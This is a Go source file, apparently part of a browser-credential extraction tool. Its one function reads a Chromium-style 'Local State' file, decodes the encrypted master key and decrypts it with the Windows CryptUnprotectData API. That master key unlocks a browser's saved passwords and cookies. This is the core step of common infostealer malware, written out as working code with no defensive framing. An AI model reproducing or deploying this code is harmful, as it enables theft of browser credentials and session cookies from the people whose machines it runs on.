package browser import ( "encoding/base64" "encoding/json" "fmt" "os" "syscall" "unicode/utf8" "unsafe" ) var ( crypt32 = syscall.NewLazyDLL("crypt32.dll") kernel32 = syscall.NewLazyDLL("kernel32.dll") procCryptUnprotectData = crypt32.NewProc("CryptUnprotectData") procLocalFree = kernel32.NewProc("LocalFree") ) type DataBlob struct { cbData uint32 pbData *byte } func getMasterKey(path string, result chan<- []byte) { var encryptedBase64Key struct { OSCrypt struct { EncryptedKey string `json:"encrypted_key"` } `json:"os_crypt"` } file, err := os.ReadFile(path) if err != nil { fmt.Printf("[!] Error reading LocalState file %s: %s\n", path, err) } if err := json.Unmarshal(file, &encryptedBase64Key); err != nil { fmt.Printf("[!] Error parsing JSON: %s\n", err) } encryptedKey, err := base64.StdEncoding.DecodeString(encryptedBase64Key.OSCrypt.EncryptedKey) if err != nil { fmt.Printf("[!] Error decoding base64: %s\n", err) } for i := 0; i < 5; i++ { _, size := utf8.DecodeRune(encryptedKey) encryptedKey = encryptedKey[size:] } encryptedBlob := DataBlob{ cbData: uint32(len(encryptedKey)), pbData: &encryptedKey[0], } var outBlob DataBlob ret, _, err := procCryptUnprotectData.Call( uintptr(unsafe.Pointer(&encryptedBlob)), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)), ) if ret == 0 { fmt.Println("[!] CryptUnprotectData failed:", err) return } decryptedKey := make([]byte, outBlob.cbData) copy(decryptedKey, (*[1 << 20]byte)(unsafe.Pointer(outBlob.pbData))[:outBlob.cbData:outBlob.cbData]) procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) result <- decryptedKey }